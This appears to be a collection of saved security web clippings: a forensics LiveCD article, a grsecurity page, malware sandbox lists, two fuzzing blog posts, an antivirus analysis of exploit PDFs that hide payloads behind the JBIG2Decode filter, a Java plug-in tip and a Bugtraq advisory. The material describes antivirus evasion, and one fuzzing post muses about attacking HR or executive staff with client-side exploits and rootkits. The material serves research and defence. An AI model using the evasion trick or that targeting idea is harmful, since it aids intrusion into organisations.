**Created:**| _12/28/2009 10:08:36 PM_  
---|---  
**Updated:**| _12/28/2009 10:08:58 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  
<img src='img/Temp2_6219' />

# Bitscout – The Free Remote Digital Forensics Tool Builder - Securelist

**Created:**| _7/17/2017 11:27:58 AM_  
---|---  
**Updated:**| _7/17/2017 11:27:58 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Bitscout – The Free Remote Digital Forensics Tool Builder

By Vitaly Kamluk on July 6, 2017. 9:00 am

Software

Facebook

Google

Twitter

Bitscout Forensics Software Tools

Being a malware researcher means you are always busy with the struggle against
mountains of malware and cyberattacks around the world. Over the past decade,
the number of daily new malware findings raised up to unimaginable heights:
with hundreds of thousands of malware samples per day\! However, while there
are some rare and dangerous malware, not every sample is as malicious as
these. Moreover, some of the biggest threats exist only when several
ingredients are put together, including multiple malware tools, malicious
infrastructure, and interactive commands coming from their operators.

This is why, instead of only looking at malware, we have started tracking
groups of attackers and have focused on campaigns and isolated incidents. This
has been an increasingly challenging job, because it involves searching for a
needle in a haystack of haystacks, and sometimes we’re searching across very
distant locations. There are different ways of undergoing searches like this,
but the most reliable is that used by law enforcement agencies: full digital
forensics. This procedure is time consuming, highly dependent on the
availability of a skilled expert on site, and usually involves physical
travelling. Our natural response to this problem is to find a solution – and
surprisingly no one was offering one. Well, at least not one that was up to
our standards\!

My Bitscout project started years ago as a hobby. I had been playing with the
creation and customisation of LiveCDs. Some time afterwards, when we needed to
find traces of a certain attacker on a compromised PC in an African country, I
thought I could help. I built a simple and minimal LiveCD on Linux, with a
preconfigured VPN client and SSH server, and shared it with the system owner
over the Internet. The owner burnt the CD and started the infected PC from it.
It worked like a charm: a full control over remote computer connected via the
Internet became available from my desk. It was a slow connection but it
luckily for me I didn’t use a bandwidth-heavy remote desktop access. A text
terminal was more than enough to do the job over a slow modem line. I managed
to help the owner acquire a forensically sound disk image of the compromised
system, point out the malware and related file locations and, most
importantly, extract precious pieces of information, including a malware
dropper and spearphishing email.

Time passed, and similar requests appeared again and again. We worked with
INTERPOL using the same model: a law enforcement officer would go to the
physical disk acquisition location, and with permission from local law
enforcement agencies, would let us find the most important evidence on the
site – instantly. This cut our time traveling and helped law enforcement with
the quick discovery of key artefacts left after a cyberattack.

<img src='img/bitscout_01.jpg' width='831' height='620' />_Bitscout booting
process_

Some time afterwards many new scenarios started popping up:

  1. Manually remediatiating an infected PC \(from a rootkit\)
  2. Sharing remote sessions let us educate new users and increase the speed of analysis
  3. Once, I traveled to a customer but I had no expensive enterprise SAS disk controller with me to complete a disk image acquisition with. Using LiveCD I was able to clone the disk via the original server hardware. And I didn’t even have to stay in the cold server room to monitor the progress\!

We also worked on making the tool simple and friendly for users who are not
familiar with commandline Linux environments. Still, for the sake of having a
small disk size, we decided to keep away from GUI tools and X11 servers.
Naturally we settled on a TUI \(Text UI\), which is simple to operate with
just arrow keys.

<img src='img/bitscout_02.jpg.png' width='1165' height='778' />_Bitscout 2.0
main window for general users_

However, when you work with someone who has never met you, trust is an
inherent problem. Just think about it: would you let some remote expert have
access to your precious system? If so, I’d be delighted to work with you. But
if I were in your shoes, I would be paranoid, and would like to control the
process myself. This is quite natural and is something that bothered me in the
previous versions of LiveCDs.

This issue of trust could be resolved if we could somehow limit an expert’s
access to hardware, and monitor and record everything that he/she does.
Following this idea, we built a new version of Bitscout: Bitscout 2.0, which
we have just released. The remote expert has root privileges only inside a
virtual unprivileged container. The expert can access only those disk devices
that are permitted by the owner, and it’s possible for them to install
additional software and change system files – all without the risk of
compromising the host system or data on the harddrive. This is all done in
RAM, and is gone once the system is shutdown. In addition, all remote sessions
are recorded and stored outside of the container. This provides a good level
of isolation and a way to reconstruct the forensic process for learning
purposes, or prove the existince of evidence.

But that’s not all\! Bitscout 2.0 is not only based on open-source tools, it
is actually an open source tool itself that let’s you build your own LiveCDs –
your own types of Bitscout systems. So, the tool is essentially a collection
of scripts which anyone can validate, customize and improve.

And you are welcome to do so, because now it’s on Github:
https://github.com/vitaly-kamluk/bitscout

### Related Posts

### Leave a Reply

Your email address will not be published. Required fields are marked \*

Name \*

Email \*

Recaptcha requires verification

I'm not a robot

reCAPTCHA

Privacy \- Terms

Notify me of follow-up comments by email.

Notify me of new posts by email.

<img src='img/1405614277-bporiginal-90x84.jpg' width='90' height='90' />

  * Vitaly Kamluk 
  * @vkamluk

###

Sorry, no related posts were found.

<img src='img/cryptor_360_EN.png' width='360' height='340' />

###

  

# grsecurity

**Created:**| _5/21/2009 12:36:11 PM_  
---|---  
**Updated:**| _5/21/2009 12:36:28 PM_  
**Author:**| __  
**Tags:**| _security tools Linux_  
  

  * \[03/22\] Website update
  * \[12/27\] New \(final?\) grsecurity release and important announcement
  * \[04/21\] grsecurity 2.1.11 patches updated, 2.6.24.5 supported
  * \[04/17\] grsecurity 2.1.11 patch for 2.6.24.4 updated
  * \[04/14\] grsecurity 2.1.11 released for Linux 2.4.36.2/2.6.24.4

More News >> | <img src='img/Temp2_10274' width='1' height='2' />| | <img src='img/Temp2_10276' width='49' height='46' alt='Install' />| **Stable:**  
2.1.12-2.6.27.10  
Last updated: 12/27/08  
  
**Test:**  
2.1.14-2.6.29.3  
Last updated: 05/19/09  
---|---  
**>> download now**  
<img src='img/Temp2_10275' width='516' height='8' />grsecurity  
<img src='img/Temp2_10273' width='482' height='1' />| grsecurity is an
innovative approach to security utilizing a multi-layered detection,
prevention, and containment model. It is licensed under the GPL.  
It offers among many other features:  

  * An intelligent and robust Role-Based Access Control \(RBAC\) system that can generate least privilege policies for your entire system with no configuration
  * Change root \(chroot\) hardening
  * /tmp race prevention
  * Extensive auditing
  * Prevention of arbitrary code execution, regardless of the technique used \(stack smashing, heap corruption, etc\)
  * Prevention of arbitrary code execution in the kernel
  * Randomization of the stack, library, and heap bases
  * Kernel stack base randomization
  * Protection against exploitable null-pointer dereference bugs in the kernel
  * Reduction of the risk of sensitive information being leaked by arbitrary-read kernel bugs
  * A restriction that allows a user to only view his/her processes
  * Security alerts and audits that contain the IP address of the person causing the alert

  
---

# Free Automated Malware Analysis Services

**Created:**| _9/3/2009 10:14:50 PM_  
---|---  
**Updated:**| _9/3/2009 10:15:00 PM_  
**Author:**| __  
**Tags:**| _web Malware-analysis_  
  

# Free Automated Malware Analysis Services

In my SANS Institute course, I teach security and systems professionals how to
reverse-engineer malicious software. It is an interesting, but time-consuming
process if you don't have the right skills and tools at hand.

There are several free automated malware analysis services that can examine
compiled Windows executales to save us time and provide a sense about the
specimen's capabilities:  

  * Anubis
  * BitBlaze Malware Analysis Service
  * CWSandbox
  * EUREKA Malware Analysis Internet Service
  * Joebox
  * Norman SandBox
  * ThreatExpert

These are the services I have come across. If you know of another reliable and
free service I didn't list, please let me know.

  

# Fuzzing PHP’s unserialize Function

**Created:**| _9/4/2017 9:32:29 AM_  
---|---  
**Updated:**| _9/4/2017 9:32:29 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Skip to content

  * __ Home
  * Program Analysis Training

_ Search_

# Sean Heelan's Blog

## Program analysis, verification and security

Fuzzing

# Fuzzing PHP’s unserialize Function

__ August 12, 2017 __seanhn __Leave a comment

Recently, the PHP development team have decided that they will no longer
consider bugs in the implementation of the unserialize function to be security
relevant. In this post I’d like to outline why I think this is a bad idea, and
provide an easy set up for fuzzing/ongoing QA of _unserialize_ , as the fact
that it is a bottomless pit of bugs seems to be part of the motivation for
this move.

The argument for the change in categorisation is twofold. Firstly, they state
that _unserialize_ is inherently an unsafe function to use on data from an
untrusted source. Essentially, they are saying that there is no point in
treating bugs in the implementation of _unserialize_ as security-relevant,
because the mere fact that an application passes untrusted data to it means
that the security of that application has already been compromised. Secondly,
they argue that treating _unserialize_ bugs as security relevant encourages
developers to use it on untrusted data. In my opinion this is quite a weak
point. It is prominently documented that _unserialize_ is unsafe, and if that
warning doesn’t get the message across then I very much doubt that a change in
categorisation in the PHP bug tracker will.

Lets briefly discuss the first point in a little more detail, as the reality
is a bit more nuanced. Often, it **is** relatively easy to leverage an
_unserialize_ of untrusted data without resorting to attacking the
_unserialize_ implementation itself. There are some requirements for this
though. In particular, the attacker must be able to find a class containing a
PHP magic method in the target application or one of the libraries that it
makes use of, e.g. a _\_\_destruct_ function. Also, if the _allowed\_classes_
argument to _unserialize_ is provided then the class containing the magic
method must be included in this list. These conditions don’t always hold. If
the application is closed source then the attacker will have no direct way to
figure out the name of such classes, and if _allowed\_classes_ is the empty
list then they won’t be able to make use of them anyway.

The above are not merely hypothetical scenarios. This rather nice write-up
documents the exploitation of a vulnerability in PornHub which required the
attackers to target the _unserialize_ implementation. As mentioned in the
write-up, the fact that the application was closed source prevented them from
discovering a class which could be used for object injection.

I think most people will agree with the PHP development team that if an
application contains a call to _unserialize_ with untrusted data then it is a
bad idea and should be fixed. However, it is also true that treating
_unserialize_ bugs like normal bugs unnecessarily exposes PHP application
developers, and the users of their applications, to further risk.

### The Fun Part

One reason the PHP development team are drowning in _unserialize_ bugs appears
to be that they either don’t fuzz the function at all after making changes, or
that their mechanism for fuzzing it is ineffective. I fully recognize that the
functionality that _unserialize_ implements is complex and that adding to it,
or modifying the existing code, is always going to come with the risk of
introducing bugs. However, I also believe that with a small of effort it
should be possible to significantly decrease the number of low hanging fruit
that make it to release builds.

Anyway, in the interests of putting my shell scripts where my mouth is, I’ve
uploaded a repository of scripts and auxiliary files for building PHP and
fuzzing unserialize via AFL. There’s no secret sauce. If anything that’s kind
of the point; ongoing sanity checking of the existing _unserialize_
implementation and changes to it could be trivially automated.

The README file explains how to get everything up and running, but in short it
should just be a matter of running _./get.sh && ./build.sh && ./fuzz.sh output
N. _ A GNU screen session will be running in the background containing the
output of an AFL master instance and N slaves. which you can attach to via
_screen -r fuzz._

The scripts are straightforward, but there are a few things worth noting for
the curious:

  * The driver PHP script loads a string representing the data to be unserialized from a file and passes it directly to _unserialize_. This should be sufficient to find a significant portion of the bugs that I know of that have previously been fixed in _unserialize_ , e.g. things like this. However, if some extra PHP code is required to trigger the bug then it will not be found. e.g. things like this. It should be relatively easy to extend the fuzzing setup with ideas from other blog posts on the topic, e.g. there are some good ideas in this post by the people who wrote the PornHub exploit mentioned above.
  * One can either build all of PHP with AFL’s instrumentation, or just the components that one thinks will be relevant to the _unserialize_ functionality. The advantage of the former is you’re guaranteed that AFL can intelligently explore all functionality which may be triggered via _unserialize_ , with the disadvantage that it is slower. The build.sh script currently compiles everything with AFL’s instrumentation. If you would like a faster binary you can compile PHP without AFL/ASAN, delete the object files that relate to _unserialize_ , reconfigure the build to use AFL/ASAN and then recompile those object files. I’ve used this is the past and it works quite well but you need to make sure you recompile all the object files which relate to code that _unserialize_ might trigger, otherwise AFL won’t be able to track coverage there.
  * AFL can be provided with a dictionary of tokens which it will use when fuzzing. The dictionary in the repository contains tokens pulled from the unserialize parser and I think it is fairly complete, but if I’ve missed anything let me know and I’ll be sure to include it.
  * The seed files one provides to AFL for fuzzing can have a significant impact on it’s ability to find bugs, and how quickly one finds a particular bug. The seed files I have provided have been constructed from examples of valid _unserialize_ usage I’ve found in the PHP documentation and triggers for previous vulnerabilities. Feel free to let me know if you find a seed file which would be useful to add.
  * I have created this repository by pulling files and configurations from my fuzzing machines as I write this blog post. The goal is to give a faithful representation of the setup I’ve used in the past to find multitudes of _unserialize_ bugs. However, I may have forgotten something, or broken something in the process of pulling it all together for release. As I’m writing this I have started up the _fuzz.sh_ script to ensure everything works, but it’s possible I’ve messed something up and won’t notice. If that does turn out to be the case, let me know\! If you’d like to confirm everything is functional then compile PHP version 5.6.11 and you should find this bug within 40 million executions or so.

Happy hunting\!

**_\(Unrelated side note: I’ll be teaching a 4 day version of ‘Advanced Tool
Development with SMT Solvers’ in London in early November. Seehere for details
if you’re interested\!\)_**

 Like

Be the first to like this.

### _Related_

Finding use-after-free bugs with static analysisIn "Static analysis"

Game Over\! Thank you for playing AcademiaIn "Exploit generation"

Anatomy of a Symbolic Emulator, Part 3: Processing Symbolic Data & Generating
New InputsIn "SMT solving"

# Post navigation

__

Previous Post

Upcoming Public Training: 4 Days of Advanced Tool Development with SMT Solvers
\(London, Nov ’17\)

### Leave a Reply

## Social

  * View seanhn’s profile on Twitter
  * View seanhn’s profile on LinkedIn
  * View SeanHeelan’s profile on GitHub

## Recent Posts

  * Fuzzing PHP’s unserialize Function August 12, 2017
  * Upcoming Public Training: 4 Days of Advanced Tool Development with SMT Solvers \(London, Nov ’17\) July 31, 2017
  * Tracking Down Heap Overflows with rr May 31, 2016
  * Fuzzing Language Interpreters Using Regression Tests April 26, 2016
  * Some Early-Stage Work on Statistical Crash Triage April 13, 2016

## Categories

  * Binary Instrumentation \(7\) 
  * Exploit generation \(10\) 
  * Exploitation \(6\) 
  * Fault Localisation \(2\) 
  * Fuzzing \(3\) 
  * Presentations \(7\) 
  * SMT solving \(17\) 
  * Static analysis \(4\) 
  * Symbolic execution \(8\) 
  * Training \(3\) 
  * Uncategorized \(3\) 
  * Vulnerability Analysis \(11\) 
  * Whitebox fuzzing \(4\) 

## Archives

  * August 2017 \(1\)
  * July 2017 \(1\)
  * May 2016 \(1\)
  * April 2016 \(2\)
  * March 2016 \(1\)
  * February 2016 \(1\)
  * November 2015 \(1\)
  * December 2012 \(1\)
  * July 2012 \(2\)
  * March 2012 \(3\)
  * June 2011 \(4\)
  * May 2011 \(2\)
  * April 2011 \(1\)
  * March 2011 \(1\)
  * December 2010 \(1\)
  * November 2010 \(1\)
  * October 2010 \(3\)
  * July 2010 \(1\)
  * November 2009 \(1\)
  * September 2009 \(2\)
  * July 2009 \(1\)
  * June 2009 \(4\)
  * May 2009 \(7\)

Blog at WordPress.com.

  

# avast\! blog » Another nasty trick in malicious PDF

**Created:**| _4/26/2011 8:53:41 PM_  
---|---  
**Updated:**| _4/26/2011 8:53:41 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Obfuscation_  
  

## Another nasty trick in malicious PDF

April 22nd, 2011 Jiri Sejtko Leave a comment Go to comments

A new method of producing malicious PDF files has been discovered by the
avast\! Virus Lab team. The new method is more than a specific, patchable
vulnerability; it is a trick that enables the makers of malicious PDF files to
slide them past almost all AV scanners.

Overall, PDF specifications allow many different filters \(such as
ASCII85Decode, RunLengthDecode, ASCIIHexDecode, FlateDecode, …\) to be used on
raw data. In addition, there is no limit on the number of the filters used for
a single data entry. Anyone can create valid PDF files where the data uses,
for example, five different filters or five layers of the same filter. All of
these features are based on extremely liberal specifications, a fact which
allows bad guys to utilize malicious files in a way that does not allow
antivirus scanners access to the real payload.

The new trick is based just on one filter, so it doesn’t sound exciting, does
it? So what’s the reason for posting this blog post?

The filter used to encrypt text data is meant to be used only for black and
white images. And apart from avast\!, probably no other AV scanner is
currently able to decode the payload because no other AV can detect those PDF
files.

This story began when we found a new, previously unseen, PDF file a month ago.
It wasn’t detected by us or by any other AV company. But its originating URL
address was quite suspicious and soon we confirmed the exploitation and system
infection caused by just opening this document. But our parser was unable to
get any suitable content that we could define as malicious. There wasn’t any
javascript stream, just the single XFA array shown in the next image.

<img src='img/Temp2_10094.png' width='515' height='68' />

XFA form definition

XFA forms usually contain a malicious TIFF image that exploits the well-known
CVE-2010-0188 vulnerability. We were interested in the objects referenced by
the XFA array. As you can see, there were just two references:

  * **template** – object 201
  * **dataset** – object 301

The **dataset** object was easy to decode by our scanner as it uses one
extremely common filter – FlateDecode. The data decoded from the stream wasn’t
suspicious anyway – just some data encoded with the base64 algorithm \(as
shown in next image\). The main payload had to be covered by the first -
**template** object.

<img src='img/Temp2_10091.png' width='535' height='255' />

dataset - decoded data

Unfortunately, our scanner wasn’t able to decode this content. So what was
wrong? Why were other AV engines also unable to detect such an exploit? The
answer to those questions is shown in the next image.

<img src='img/Temp2_10092.png' width='514' height='83' />

template object definition

The image above is the object stream definition. It says that the object is
3125 bytes long and that we must use 2 filters to decode the original data –
FlateDecode as first layer and JBIG2Decode as a second layer. But why
JBIG2Decode? That’s a pure image encoding algorithm isn’t it? Correct, and
following text is what Adobe says about it in the PDF documentation \(Part
3.3.6, page 80\):

> The JBIG2Decode filter \(PDF 1.4\) decodes monochrome \(1 bit per pixel\)
> image data that has been encoded using JBIG2 encoding. JBIG stands for the
> Joint Bi-Level Image Experts Group, a group within the International
> Organization for Standardization \(ISO\) that developed the format. JBIG2 is
> the second version of a standard originally released as JBIG1.  
>  JBIG2 encoding, which provides for both lossy and lossless compression, is
> useful only for monochrome images, not for color images, grayscale images,
> or general data. The algorithms used by the encoder, and the details of the
> format, are not described here. A working draft of the JBIG2 specification
> can be found through the Web site for the JBIG and JPEG \(Joint Photographic
> Experts Group\) committees at < http://www.jpeg.org >.
And following text that is taken from the same specification \(Part 4.8.6,
page 353\):

> Also note that JBIG2Decode and JPXDecode are not listed in Table 4.44
> because those filters can be applied only to image XObjects.
That’s another surprise from PDF, another surprise from Adobe, of course. Who
would have thought that a pure image algorithm might be used as a standard
filter on any object stream you want? And that’s the reason why our scanner
wasn’t successful in decoding the original content – we hadn’t expected such
behavior. To be fair, any data \(text or binary\) can be declared as an
monochrome two-dimensional image – that’s the reason why JBIG2 algorithm works
here.

We guessed that the image would probably has its first dimension set to 1
pixel and the second would be set to a much higher number of pixels. That’s
the easiest way how to declare non-image data as a monochrome picture. The
following picture shows the data processed by the FlateDecode filter, so it’s
actually a JBIG2 stream \(PDF version of JBIG2, as the file header is missing
here\).

<img src='img/Temp2_10096.png' width='567' height='99' />

Data representing JBIG2 stream \(after initial FlateDecode filter\)

Two colored 32bit numbers on the picture above represents the image
dimensions. You can see that our guesses were right. Image is 25056 \(red:
0x000061E0\) pixels wide and just 1 pixel \(yellow: 0×00000001\) high.
Remember that the image is monochrome so 1 pixel = 1 bit. To get the size of
the decoded data in bytes, we need to divide the width by 8 and get 3132
bytes. The following image shows real content after two decoding procedures.

<img src='img/Temp2_10093.png' width='516' height='766' />

Decoded content of the template object

The content is the well-known as CVE-2010-0188 exploit. The bad guys are
building a specially-crafted TIFF \(see underlined text in the image, that’s a
TIFF header encoded by base64 algorithm\) file which exploits Adobe Reader.
The vulnerability is patched in current versions, only old versions are
affected.

We released PDF:ContEx \[Susp\] detection immediately after this discovery. We
have been monitoring this new trick now for over a month and now added this
decoding algorithm to our PDF engine. Based on the information from the
avast\! Virus Lab logs, this new trick is currently used in only a very small
number of attacks \(in comparison to other attacks\) and that is probably the
reason why no one else is able to detect it. However, we have seen this nasty
trick also being used in a targeted attacks.

Here are the links to VirusTotal showing the detection score:

  * 18D1BA224B4FAA2296362F93231B6C4E7E488D8FEFC5A5408FE078AD20A55C08
  * b1543cd42d03a93b143737d91540b08efffe027219136a59463f80e83222e743

In addition, we have found another 10 malicious PDF files based on the
JBIG2Decode trick. All of them were actually detected using our heuristic
detection JS:Pdfka-gen even if we did not actually decode the JBIG2 streams.
In these cases, different objects \(objects without a JBIG2Decode filter\)
have been marked as malicious parts. In summary, we can say that bad guys are
using this trick to hide any possible object they want to be hidden \(XFA
forms, JS, TTF\).

The following image shows an object which is encoded using the JBIG2Decode
filter, but this time the object contains specially crafted font \(TTF\) file
which exploits CVE-2010-2883 vulnerability.

<img src='img/Temp2_10095.png' width='517' height='240' />

TTF font hidden under JBIG2 stream

The image above contains only two \(the source PDF contains many more\)
objects. Object 12 \(line 91 in the image\) contains encoded data. After we
decoded the content using all three filters \(JBIG2Decode, ASCIIHexDecode, and
FlateDecode\) we got the malicious font file. But this object defined only the
raw data, there had to be another object that defined the font itself and
that’s the second object shown in the image – object 20 \(line 162\). This is
the FontDescriptor which is used to specify the metrics and other parameters
of custom embedded fonts. In this case, last parameter is the key to malicious
font file – **/FontFile2 12 0 R** , a reference to the previously defined
object.

Here is the link to VirusTotal showing the detection score:

  * 05f64217ebc380a9c398d72ec7743beda29bffed5694671aebca78aa6c3b5822

I’m not happy to see another trick based on a glitch in the PDF specification.
What should we expect to happen next?

For more goodies, come attend our talk in Prague at the CARO 2011 Workshop.
\(link\)

# NIP Tip: Temporarily Re-Enabling Apple-Provided Java SE 6 Web Plug-In | NoVA Infosec
**Created:**| _10/5/2013 7:49:47 AM_  
---|---  
**Updated:**| _10/5/2013 7:49:47 AM_  
**Author:**| __  
**Tags:**| _Java Mac-hacking_  
  

# **N** IP Tip: Temporarily Re-Enabling Apple-Provided Java SE 6 Web Plug-
In****

October 2, 2013

By grecs

<img src='img/Temp2_5561.jpg' width='150' height='142' alt='Java Skull' />

This tip might be useful to some people**.** One service I use requires Java
and since I want to avoid installing the Oracle version I find myself in a
bind**.** Fortunately, OS X includes the Apple-maintained 1.6**.** x version
however by default the OS rightly disables it for web browsers**.** If you
need to quickly reenable and disable it just for specific purposes like mine,
Apple provides the instructions here  but I’ve noted the terminal commands
below for quick reference**.**

First, enable Java 1.6**.** x for use by web browsers.

> sudo mkdir -p /Library/Internet\ Plug-Ins/disabled
> sudo mv /Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin
> /Library/Internet\ Plug-Ins/disabled
> sudo ln -sf
> /System/Library/Java/Support/Deploy.bundle/Contents/Resources/JavaPlugin2\_NPAPI.plugin
> /Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin
> sudo ln -sf /System/Library/Frameworks/JavaVM.framework/Commands/javaws
> /usr/bin/javaws
Then use Java for that “special” application or service**.** When finished
here is the command to immediately disabling it again**.**

> sudo ln -sf
> /System/Library/Frameworks/JavaVM.framework/Versions/Current/Commands/javaws
> /usr/bin/javaws
\#\#\#\#\#

_Today’s post pic is fromForbes.com **.** See ya\!_

Tags: apple , java , os x

### Leave a Reply Cancel reply****

Your email address will not be published**.** Required fields are marked \*

Name \*

Email \*

Website

Notify me of follow-up comments by email**.**

Notify me of new posts by email**.**

****

# Microsoft Windows Kernel 'Win32k.sys' \(CVE-2012-0157\) Local Privilege
Escalation Vulnerability

**Created:**| _3/15/2012 3:15:18 PM_  
---|---  
**Updated:**| _3/15/2012 2:15:52 PM_  
**Author:**| __  
**Tags:**| _windows security sandboxing_  
  

Microsoft Windows Kernel 'Win32k.sys' \(CVE-2012-0157\) Local Privilege
Escalation Vulnerability  
  
Bugtraq ID: |  52317   
---|---  
Class: |  Design Error   
CVE: |  CVE-2012-0157  
  
Remote: |  No   
Local: |  Yes   
Published: |  Mar 13 2012 12:00AM   
Updated: |  Mar 14 2012 04:40PM   
Credit: |  Nikolaos Bougalis   
Vulnerable: |  Microsoft Windows XP Service Pack 3 0  
Microsoft Windows XP Professional x64 Edition SP3  
Microsoft Windows XP Professional x64 Edition SP2  
Microsoft Windows XP Professional x64 Edition  
Microsoft Windows XP Professional SP3  
Microsoft Windows XP Professional SP2  
Microsoft Windows XP Professional SP1  
Microsoft Windows XP Professional  
Microsoft Windows XP Home SP3  
Microsoft Windows XP Home SP2  
Microsoft Windows XP Home SP1  
Microsoft Windows XP Home  
Microsoft Windows XP Embedded SP3  
Microsoft Windows XP Embedded SP2  
Microsoft Windows XP Embedded SP1  
Microsoft Windows XP Embedded  
Microsoft Windows XP 64-bit Edition SP1  
Microsoft Windows XP 64-bit Edition  
Microsoft Windows Vista x64 Edition SP2  
Microsoft Windows Vista x64 Edition SP1  
Microsoft Windows Vista x64 Edition 0  
Microsoft Windows Vista Home Premium 64-bit edition SP2  
Microsoft Windows Vista Home Premium 64-bit edition SP1  
Microsoft Windows Vista Home Premium 64-bit edition 0  
Microsoft Windows Vista Home Basic 64-bit edition Sp2 X64  
Microsoft Windows Vista Home Basic 64-bit edition SP2  
Microsoft Windows Vista Home Basic 64-bit edition Sp1 X64  
Microsoft Windows Vista Home Basic 64-bit edition SP1  
Microsoft Windows Vista Home Basic 64-bit edition 0  
Microsoft Windows Vista Enterprise 64-bit edition SP2  
Microsoft Windows Vista Enterprise 64-bit edition SP1  
Microsoft Windows Vista Enterprise 64-bit edition 0  
Microsoft Windows Vista SP2  
Microsoft Windows Vista SP1  
Microsoft Windows Vista Home Premium SP2  
Microsoft Windows Vista Home Premium SP1  
Microsoft Windows Vista Home Premium  
Microsoft Windows Vista Home Basic SP2  
Microsoft Windows Vista Home Basic SP1  
Microsoft Windows Vista Home Basic  
Microsoft Windows Vista Enterprise SP2  
Microsoft Windows Vista Enterprise SP1  
Microsoft Windows Server 2008 for x64-based Systems SP2  
Microsoft Windows Server 2008 for x64-based Systems R2  
Microsoft Windows Server 2008 for x64-based Systems 0  
Microsoft Windows Server 2008 for Itanium-based Systems SP2  
Microsoft Windows Server 2008 for Itanium-based Systems R2  
Microsoft Windows Server 2008 for Itanium-based Systems 0  
Microsoft Windows Server 2008 for 32-bit Systems SP2  
Microsoft Windows Server 2008 for 32-bit Systems 0  
Microsoft Windows Server 2003 Itanium SP2  
Microsoft Windows Server 2003 Itanium SP1  
Microsoft Windows Server 2003 Itanium 0  
Microsoft Windows Server 2003 Sp2 X64  
Microsoft Windows Server 2003 SP2  
Microsoft Windows Server 2003 Sp1 X64  
Microsoft Windows Server 2003 SP1  
Microsoft Windows 7 Home Premium 0  
Microsoft Windows 7 Home Premium - Sp1 X64  
Microsoft Windows 7 Home Premium - Sp1 X32  
Microsoft Windows 7 for x64-based Systems SP1  
Microsoft Windows 7 for x64-based Systems 0  
Microsoft Windows 7 for 32-bit Systems SP1  
Microsoft Windows 7 for 32-bit Systems 0  
Avaya Messaging Application Server 5.2  
Avaya Messaging Application Server 5  
Avaya Messaging Application Server 4  
Avaya Meeting Exchange - Webportal 0  
Avaya Meeting Exchange - Web Conferencing Server 0  
Avaya Meeting Exchange - Streaming Server 0  
Avaya Meeting Exchange - Recording Server 0  
Avaya Meeting Exchange - Client Registration Server 0  
Avaya Meeting Exchange 5.0 .0.52  
Avaya Meeting Exchange 5.2 SP2  
Avaya Meeting Exchange 5.2 SP1  
Avaya Meeting Exchange 5.2  
Avaya Meeting Exchange 5.1 SP1  
Avaya Meeting Exchange 5.1  
Avaya Meeting Exchange 5.0 SP2  
Avaya Meeting Exchange 5.0 SP1  
Avaya Meeting Exchange 5.0  
Avaya Communication Server 1000 Telephony Manager 4.0  
Avaya Communication Server 1000 Telephony Manager 3.0  
Avaya CallPilot 5.0  
Avaya CallPilot 4.0  
Avaya Aura Conferencing 6.0 Standard  
Avaya Aura Conferencing 6.0 SP1 Standard  

# File Fuzzing - Part 1

**Created:**| _6/12/2009 10:07:07 PM_  
---|---  
**Updated:**| _6/12/2009 10:07:19 PM_  
**Author:**| __  
**Tags:**| _Exploit reversing Fuzzer_  
  

## File Fuzzing - Part 1

#### July 6th, 2008 · No Comments

So I’ve been wanting to play with some fuzzers for a bit and get some fuzzers
going on some boxes that I have laying around \(they might as well be doing
something – right?\).

After reading “Fuzzing – Brute Force Vulnerability Discovery”
http://www.amazon.com/Fuzzing-Brute-Force-Vulnerability-
Discovery/dp/0321446119 \(which I highly recommend if you want to get into
fuzzing anything\) I think I have a little bit clearer idea \(at least a
start\) on what it is I want to fuzz and how to go about it a bit.

I decided that on my spare time I’ll play with fuzzing file formats / media
files. I chose file formats for a few different reasons – the ones that come
to the top of my head are:

  * I wanted to play with / discover some client side vulns. I used to think that there was a big push discovering client side bugs recently \(I guess mostly starting last year with all of the office and browser exploits\) because there was simply less low-hanging server side vulns to be discovered. Since most systems have firewalls and extraneous services turned off there is less attack area – which means less chance to find remote \(and not reliant on a dumb user\) bugs. However, I think there is something that client side bugs can offer that remote exploits can’t – chiefly a targeted attack to a system inside an organization in one hit. If I was going to attack a corporation for data / internal access I’d totally start with some client side exploit to compromise a system that’s already inside of the internal network and install a rootkit. Do that to an HR, IT or similar department or a C-level guy and game over.

  * There are many different applications that open the same type of file. For example, consider a zip file – there’s a ton of applications that open a zip file. On my box I generally have winrar, winzip and 7-zip and the default windows unzipper. They all do the same thing – so we can use one test case \(a malformed or malicious zip file\) and test it against a ton of applications. I think this way we have an easier chance to find some bugs, if one application is not vulnerable to the malicious zip file maybe another one is.

  * A lot of file formats are OS independent. Going back to the point above – we can generate one malformed test case and test it against numerous OS’s. If we had a .rar file we could test it against all the windows apps that take .rar files along with, let’s say linux apps \(like unrar\) and even antivirus scanners.

Anyways, the main reason I think I’m choosing file formats is more bang for my
buck. As long as I can generate a large number of effective test cases I’m
bound to find a vuln. if I test it against a ton of applications

Generally the method is going to be the following \(from “Fuzzing – Brute
Force Vulnerability Discovery”\):

  1. Prepare a test case \(malformed file\).
  2. Launch the target application and load the test case file.
  3. Monitor the target application for faults, typically with a debugger.
  4. In the event a fault is discovered, log the finding. Alternatively, if after some period of time no fault is uncovered, manually kill the target application.
  5. Repeat.

So at this moment I’m kind of leaning toward starting my testing on windows
apps / platform \(although not exclusively\). One of the main reasons I am
picking windows to start with is simply the large user base and impact of a
finding. Plus, I just feel a bit more comfortable writing exploits on newer
windows platforms vs. newer varied unix ones. Considering the point of fuzzing
is to find vulnerabilities using low effort and getting a high payoff – I’m
\(at least for the moment\) thinking the same of exploits. With unix exploits
there is generally more factors when considering writing an exploit that will
work on a ton of boxes \(kernel version, compilation flags, aslr, etc.\).

Before I go into the tools I’m thinking of using I should go into some
specifics really quick. Generally there is two types of file format fuzzing:

  * Brute force or mutation-based fuzzing: This is where we get some sample files of the file type and the fuzzer generator creates mutations of them. For example it could replace data byte for byte. An example would be replacing every byte \(or multiple bytes\) with 0xff. You can also insert data into the file as opposed to just overwriting bytes. This is useful when testing string values. However, when inserting data into the file, we have to be aware that we might be upsetting the offsets within the file. This can severely disrupt code coverage as some parsers will quickly detect an invalid file and exit. There’s also things like checksums that can foil brute force fuzzers. Generally it’s a simple method but can be really inefficient \(Although this method has been used to find high profile bugs in apps like office\). An example of these types of fuzzers are FileFuzz and ufuz3.

